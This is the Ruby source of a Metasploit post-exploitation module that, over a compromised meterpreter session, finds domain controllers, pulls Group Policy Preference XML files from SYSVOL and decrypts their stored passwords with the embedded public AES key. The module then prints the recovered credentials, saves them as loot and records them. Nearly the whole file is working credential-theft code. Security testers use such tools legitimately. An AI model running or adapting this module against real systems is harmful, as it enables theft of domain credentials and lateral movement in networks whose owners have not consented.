457 lines
14 KiB
Ruby
457 lines
14 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'rexml/document'
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require 'msf/core/post/windows/registry'
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require 'msf/core/post/windows/priv'
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class Metasploit3 < Msf::Post
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include Msf::Auxiliary::Report
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Registry
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather Group Policy Preference Saved Passwords',
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'Description' => %q{
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This module enumerates the victim machine's domain controller and
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connects to it via SMB. It then looks for Group Policy Preference XML
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files containing local user accounts and passwords and decrypts them
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using Microsofts public AES key.
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Tested on WinXP SP3 Client and Win2k8 R2 DC.
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},
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'License' => MSF_LICENSE,
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'Author' =>[
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'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
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'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
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'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
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'theLightCosine',
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'mubix' #domain/dc enumeration code
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],
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'References' =>
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[
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['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
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['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
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['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
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['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
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],
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options([
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OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]),
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OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),
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OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class)
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end
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def run
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group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
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group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
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service_path = "MACHINE\\Preferences\\Services\\Services.xml"
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printer_path = "USER\\Preferences\\Printers\\Printers.xml"
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drive_path = "USER\\Preferences\\Drives\\Drives.xml"
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datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
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datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
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task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
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task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
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domains = []
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basepaths = []
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fullpaths = []
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cached_domain_controller = nil
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print_status "Checking locally..."
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locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol"))
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unless locals.blank?
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basepaths << locals
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print_good "Group Policy Files found locally"
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end
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# If user supplied domains this implicitly cancels the ALL flag.
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if datastore['ALL'] and datastore['DOMAINS'].blank?
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print_status "Enumerating Domains on the Network..."
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domains = enum_domains
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domains.reject!{|n| n == "WORKGROUP" || n.to_s.empty?}
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end
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# Add user specified domains to list.
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unless datastore['DOMAINS'].blank?
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if datastore['DOMAINS'].match(/\./)
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print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'."
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return
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end
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user_domains = datastore['DOMAINS'].split(' ')
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user_domains = user_domains.map {|x| x.upcase}
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print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..."
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user_domains.each{|ud| domains << ud}
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end
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# If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again.
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# If user supplied domains we do not wish to enumerate registry retrieved domains.
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if locals.blank? && user_domains.blank?
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print_status "Enumerating domain information from the local registry..."
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domains << get_domain_reg
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end
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domains.flatten!
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domains.compact!
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domains.uniq!
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# Dont check registry if we find local files.
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cached_dc = get_cached_domain_controller if locals.blank?
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domains.each do |domain|
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dcs = enum_dcs(domain)
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dcs = [] if dcs.nil?
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# Add registry cached DC for the test case where no DC is enumerated on the network.
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if !cached_dc.nil? && (cached_dc.include? domain)
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dcs << cached_dc
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end
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next if dcs.blank?
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dcs.uniq!
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tbase = []
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dcs.each do |dc|
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print_status "Searching for Policy Share on #{dc}..."
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tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
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#If we got a basepath from the DC we know that we can reach it
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#All DCs on the same domain should be the same so we only need one
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unless tbase.blank?
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print_good "Found Policy Share on #{dc}"
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basepaths << tbase
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break
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end
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end
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end
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basepaths.flatten!
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basepaths.compact!
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print_status "Searching for Group Policy XML Files..."
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basepaths.each do |policy_path|
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fullpaths << find_path(policy_path, group_path)
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fullpaths << find_path(policy_path, group_path_user)
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fullpaths << find_path(policy_path, service_path)
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fullpaths << find_path(policy_path, printer_path)
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fullpaths << find_path(policy_path, drive_path)
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fullpaths << find_path(policy_path, datasource_path)
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fullpaths << find_path(policy_path, datasource_path_user)
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fullpaths << find_path(policy_path, task_path)
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fullpaths << find_path(policy_path, task_path_user)
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end
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fullpaths.flatten!
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fullpaths.compact!
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fullpaths.each do |filepath|
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tmpfile = gpp_xml_file(filepath)
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parse_xml(tmpfile) if tmpfile
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end
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end
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def get_basepaths(base)
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locals = []
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begin
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session.fs.dir.foreach(base) do |sub|
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next if sub =~ /^(\.|\.\.)$/
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tpath = "#{base}\\#{sub}\\Policies"
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begin
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session.fs.dir.foreach(tpath) do |sub2|
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next if sub =~ /^(\.|\.\.)$/
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locals << "#{tpath}\\#{sub2}\\"
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end
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error "Could not access #{tpath} : #{e.message}"
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end
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end
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error "Error accessing #{base} : #{e.message}"
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end
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return locals
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end
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def find_path(path, xml_path)
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xml_path = "#{path}#{xml_path}"
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begin
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return xml_path if client.fs.file.stat(xml_path)
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rescue Rex::Post::Meterpreter::RequestError => e
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# No permissions for this specific file.
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return nil
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end
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end
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def gpp_xml_file(path)
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begin
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groups = client.fs.file.new(path,'r')
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until groups.eof
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data = groups.read
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end
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spath = path.split('\\')
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retobj = {
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:dc => spath[2],
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:path => path,
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:xml => REXML::Document.new(data).root
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}
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if spath[4] == "sysvol"
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retobj[:domain] = spath[5]
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else
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retobj[:domain] = spath[4]
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end
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return retobj
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error "Received error code #{e.code} when reading #{path}"
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return nil
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end
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end
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def parse_xml(xmlfile)
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mxml = xmlfile[:xml]
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print_status "Parsing file: #{xmlfile[:path]} ..."
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filetype = xmlfile[:path].split('\\').last()
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mxml.elements.to_a("//Properties").each do |node|
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epassword = node.attributes['cpassword']
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next if epassword.to_s.empty?
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pass = decrypt(epassword)
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user = node.attributes['runAs'] if node.attributes['runAs']
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user = node.attributes['accountName'] if node.attributes['accountName']
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user = node.attributes['username'] if node.attributes['username']
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user = node.attributes['userName'] if node.attributes['userName']
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user = node.attributes['newName'] unless node.attributes['newName'].blank?
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changed = node.parent.attributes['changed']
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# Printers and Shares
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path = node.attributes['path']
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# Datasources
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dsn = node.attributes['dsn']
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driver = node.attributes['driver']
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# Tasks
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app_name = node.attributes['appName']
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# Services
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service = node.attributes['serviceName']
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# Groups
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expires = node.attributes['expires']
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never_expires = node.attributes['neverExpires']
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disabled = node.attributes['acctDisabled']
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table = Rex::Ui::Text::Table.new(
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'Header' => 'Group Policy Credential Info',
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'Indent' => 1,
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'SortIndex' => -1,
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'Columns' =>
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[
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'Name',
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'Value',
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]
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)
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table << ["TYPE", filetype]
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table << ["USERNAME", user]
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table << ["PASSWORD", pass]
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table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
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table << ["DOMAIN", xmlfile[:domain] ]
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table << ["CHANGED", changed]
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table << ["EXPIRES", expires] unless expires.blank?
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table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
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table << ["DISABLED", disabled] unless disabled.blank?
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table << ["PATH", path] unless path.blank?
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table << ["DATASOURCE", dsn] unless dsn.blank?
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table << ["DRIVER", driver] unless driver.blank?
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table << ["TASK", app_name] unless app_name.blank?
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table << ["SERVICE", service] unless service.blank?
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node.elements.each('//Attributes//Attribute') do |dsn_attribute|
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table << ["ATTRIBUTE", "#{dsn_attribute.attributes['name']} - #{dsn_attribute.attributes['value']}"]
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end
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print_good table.to_s
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if datastore['STORE']
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stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path])
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print_status("XML file saved to: #{stored_path}")
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end
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report_creds(user,pass) unless disabled and disabled == '1'
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end
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end
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def report_creds(user, pass)
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if session.db_record
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source_id = session.db_record.id
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else
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source_id = nil
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end
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report_auth_info(
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:host => session.sock.peerhost,
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:port => 445,
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:sname => 'smb',
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:proto => 'tcp',
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:source_id => source_id,
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:source_type => "exploit",
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:user => user,
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:pass => pass)
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end
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def decrypt(encrypted_data)
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padding = "=" * (4 - (encrypted_data.length % 4))
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epassword = "#{encrypted_data}#{padding}"
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decoded = Rex::Text.decode_base64(epassword)
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key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
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aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
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aes.decrypt
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aes.key = key
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plaintext = aes.update(decoded)
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plaintext << aes.final
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pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
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return pass
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end
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def enum_domains
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domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
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buffersize = 500
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result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
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# Estimate new buffer size on percentage recovered.
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percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
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if percent_found > 0
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buffersize = (buffersize/percent_found).to_i
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else
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buffersize += 500
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end
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while result['return'] == 234
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buffersize = buffersize + 500
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result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
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end
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count = result['totalentries']
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print_status("#{count} Domain(s) found.")
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startmem = result['bufptr']
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base = 0
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domains = []
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if count == 0
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return domains
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end
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mem = client.railgun.memread(startmem, 8*count)
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count.times do |i|
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x = {}
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x[:platform] = mem[(base + 0),4].unpack("V*")[0]
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nameptr = mem[(base + 4),4].unpack("V*")[0]
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x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
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domains << x[:domain]
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base = base + 8
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end
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domains.uniq!
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print_status "Retrieved Domain(s) #{domains.join(', ')} from network"
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return domains
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end
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def enum_dcs(domain)
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# Prevent crash if FQDN domain names are searched for or other disallowed characters:
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# http://support.microsoft.com/kb/909264 \/:*?"<>|
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if domain =~ /[:\*?"<>\\\/.]/
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print_error("Cannot enumerate domain name contains disallowed characters: #{domain}")
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return nil
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end
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print_status("Enumerating DCs for #{domain} on the network...")
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domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
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buffersize = 500
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result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
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while result['return'] == 234
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buffersize = buffersize + 500
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result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
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end
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if result['totalentries'] == 0
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print_error("No Domain Controllers found for #{domain}")
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return nil
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end
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count = result['totalentries']
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startmem = result['bufptr']
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base = 0
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mem = client.railgun.memread(startmem, 8*count)
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hostnames = []
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count.times{|i|
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t = {}
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t[:platform] = mem[(base + 0),4].unpack("V*")[0]
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nameptr = mem[(base + 4),4].unpack("V*")[0]
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t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
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base = base + 8
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print_good "DC Found: #{t[:dc_hostname]}"
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hostnames << t[:dc_hostname]
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}
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return hostnames
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end
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# We use this for the odd test case where a DC is unable to be enumerated from the network
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# but is cached in the registry.
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def get_cached_domain_controller
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begin
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subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\"
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v_name = "DCName"
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dc = registry_getvaldata(subkey, v_name).gsub(/\\/, '').upcase
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print_status "Retrieved DC #{dc} from registry"
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return dc
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rescue
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print_status("No DC found in registry")
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end
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end
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def get_domain_reg
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locations = []
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# Lots of redundancy but hey this is quick!
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locations << ["HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\", "Domain"]
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locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "DefaultDomainName"]
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locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"]
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domains = []
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# Pulls cached domains from registry
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domain_cache = registry_enumvals("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\")
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if domain_cache
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domain_cache.each { |ud| domains << ud }
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end
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locations.each do |location|
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begin
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subkey = location[0]
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v_name = location[1]
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domain = registry_getvaldata(subkey, v_name)
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error "Received error code #{e.code} - #{e.message}"
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end
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unless domain.blank?
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domain_parts = domain.split('.')
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domains << domain.split('.').first.upcase unless domain_parts.empty?
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end
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end
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domains.uniq!
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print_status "Retrieved Domain(s) #{domains.join(', ')} from registry"
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return domains
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end
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end
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